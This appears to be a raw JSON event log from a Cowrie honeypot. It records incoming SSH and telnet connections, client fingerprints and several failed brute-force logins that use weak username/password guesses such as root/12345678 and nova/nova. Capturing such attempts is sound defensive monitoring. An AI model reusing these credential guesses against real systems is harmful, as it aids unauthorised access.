{"eventid":"cowrie.session.closed","duration":38.25835704803467,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:48:26.284010Z","src_ip":"152.42.224.71","session":"4a77f4dabbff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":55970,"dst_ip":"159.203.135.109","dst_port":22,"session":"1c2e8a9cf4a6","protocol":"ssh","message":"New connection: 31.40.204.166:55970 (159.203.135.109:22) [session: 1c2e8a9cf4a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:48:26.882912Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:48:26.894523Z","src_ip":"31.40.204.166","session":"1c2e8a9cf4a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:48:27.012717Z","src_ip":"31.40.204.166","session":"1c2e8a9cf4a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.759337186813354,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:48:27.165410Z","src_ip":"152.42.224.71","session":"ae92285b45ee","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345678","message":"login attempt [root/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:48:27.713935Z","src_ip":"31.40.204.166","session":"1c2e8a9cf4a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57530,"dst_ip":"10.17.0.5","dst_port":23,"session":"9a0e428dca60","protocol":"telnet","message":"New connection: 152.42.224.71:57530 (10.17.0.5:23) [session: 9a0e428dca60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:48:28.884646Z"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:48:28.891485Z","src_ip":"31.40.204.166","session":"1c2e8a9cf4a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.513745069503784,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:48:30.887706Z","src_ip":"47.84.80.65","session":"14339d6df285","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57544,"dst_ip":"10.17.0.5","dst_port":23,"session":"5a93847aa591","protocol":"telnet","message":"New connection: 152.42.224.71:57544 (10.17.0.5:23) [session: 5a93847aa591]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:48:31.863510Z"}
{"eventid":"cowrie.session.closed","duration":35.30317425727844,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:48:33.445852Z","src_ip":"152.42.224.71","session":"1f0d6e5c4b8b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57546,"dst_ip":"10.17.0.5","dst_port":23,"session":"28f08028099d","protocol":"telnet","message":"New connection: 152.42.224.71:57546 (10.17.0.5:23) [session: 28f08028099d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:48:33.453311Z"}
{"eventid":"cowrie.session.connect","src_ip":"182.93.50.90","src_port":60458,"dst_ip":"10.17.0.5","dst_port":22,"session":"6e9dcf124d08","protocol":"ssh","message":"New connection: 182.93.50.90:60458 (10.17.0.5:22) [session: 6e9dcf124d08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:48:37.802223Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:48:37.806853Z","src_ip":"182.93.50.90","session":"6e9dcf124d08","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:48:38.026872Z","src_ip":"182.93.50.90","session":"6e9dcf124d08","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"maldini3","message":"login attempt [root/maldini3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:48:38.936478Z","src_ip":"182.93.50.90","session":"6e9dcf124d08","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":35116,"dst_ip":"159.203.135.109","dst_port":22,"session":"9560b572f5bf","protocol":"ssh","message":"New connection: 31.40.204.166:35116 (159.203.135.109:22) [session: 9560b572f5bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:48:39.509615Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56736,"dst_ip":"10.17.0.5","dst_port":23,"session":"582c719802da","protocol":"telnet","message":"New connection: 152.42.224.71:56736 (10.17.0.5:23) [session: 582c719802da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:48:39.662048Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:48:39.722173Z","src_ip":"31.40.204.166","session":"9560b572f5bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:48:39.725951Z","src_ip":"31.40.204.166","session":"9560b572f5bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:48:40.157955Z","src_ip":"182.93.50.90","session":"6e9dcf124d08","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tom","password":"tom123","message":"login attempt [tom/tom123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:48:40.385007Z","src_ip":"31.40.204.166","session":"9560b572f5bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56738,"dst_ip":"10.17.0.5","dst_port":23,"session":"f0adfbd00b14","protocol":"telnet","message":"New connection: 152.42.224.71:56738 (10.17.0.5:23) [session: f0adfbd00b14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:48:40.563018Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56746,"dst_ip":"10.17.0.5","dst_port":23,"session":"66610c770fb9","protocol":"telnet","message":"New connection: 152.42.224.71:56746 (10.17.0.5:23) [session: 66610c770fb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:48:40.795447Z"}
{"eventid":"cowrie.session.closed","duration":40.98086881637573,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:48:41.316262Z","src_ip":"152.42.224.71","session":"b7a4901ee057","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:48:41.517008Z","src_ip":"31.40.204.166","session":"9560b572f5bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.48372220993042,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:48:44.433068Z","src_ip":"152.42.224.71","session":"cde092e983ad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.159.59","src_port":43278,"dst_ip":"10.17.0.5","dst_port":22,"session":"084f69f54609","protocol":"ssh","message":"New connection: 170.106.159.59:43278 (10.17.0.5:22) [session: 084f69f54609]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:48:45.279292Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:48:45.283701Z","src_ip":"170.106.159.59","session":"084f69f54609","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:48:45.355320Z","src_ip":"170.106.159.59","session":"084f69f54609","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.9.145.130","src_port":44524,"dst_ip":"10.17.0.5","dst_port":22,"session":"099b8b22303d","protocol":"ssh","message":"New connection: 81.9.145.130:44524 (10.17.0.5:22) [session: 099b8b22303d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:48:45.591604Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:48:45.596452Z","src_ip":"81.9.145.130","session":"099b8b22303d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"redwater","message":"login attempt [root/redwater] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:48:45.667895Z","src_ip":"170.106.159.59","session":"084f69f54609","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:48:45.713413Z","src_ip":"81.9.145.130","session":"099b8b22303d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aptx4869","message":"login attempt [root/aptx4869] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:48:46.207372Z","src_ip":"81.9.145.130","session":"099b8b22303d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:48:46.739859Z","src_ip":"170.106.159.59","session":"084f69f54609","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:48:47.325512Z","src_ip":"81.9.145.130","session":"099b8b22303d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48542,"dst_ip":"10.17.0.5","dst_port":23,"session":"5760848bbf2b","protocol":"telnet","message":"New connection: 152.42.224.71:48542 (10.17.0.5:23) [session: 5760848bbf2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:48:48.037138Z"}
{"eventid":"cowrie.session.closed","duration":28.86884570121765,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:48:51.319109Z","src_ip":"152.42.224.71","session":"48b4a07c1c35","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":36842,"dst_ip":"159.203.135.109","dst_port":22,"session":"bee127c79685","protocol":"ssh","message":"New connection: 31.40.204.166:36842 (159.203.135.109:22) [session: bee127c79685]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:48:51.412392Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:48:51.480025Z","src_ip":"31.40.204.166","session":"bee127c79685","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48550,"dst_ip":"10.17.0.5","dst_port":23,"session":"a4acc018dbfb","protocol":"telnet","message":"New connection: 152.42.224.71:48550 (10.17.0.5:23) [session: a4acc018dbfb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:48:51.501082Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:48:51.584402Z","src_ip":"31.40.204.166","session":"bee127c79685","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nova","password":"nova","message":"login attempt [nova/nova] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:48:52.121291Z","src_ip":"31.40.204.166","session":"bee127c79685","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":20.97156310081482,"message":"Connection lost after 20 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:48:52.834940Z","src_ip":"152.42.224.71","session":"5a93847aa591","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:48:53.289941Z","src_ip":"31.40.204.166","session":"bee127c79685","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":34854,"dst_ip":"159.203.135.109","dst_port":22,"session":"c2aa21712482","protocol":"ssh","message":"New connection: 193.228.128.84:34854 (159.203.135.109:22) [session: c2aa21712482]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:48:54.062077Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:48:54.074408Z","src_ip":"193.228.128.84","session":"c2aa21712482","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:48:54.181341Z","src_ip":"193.228.128.84","session":"c2aa21712482","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sveta","message":"login attempt [root/sveta] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:48:54.577410Z","src_ip":"193.228.128.84","session":"c2aa21712482","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:48:55.681999Z","src_ip":"193.228.128.84","session":"c2aa21712482","protocol":"ssh"}
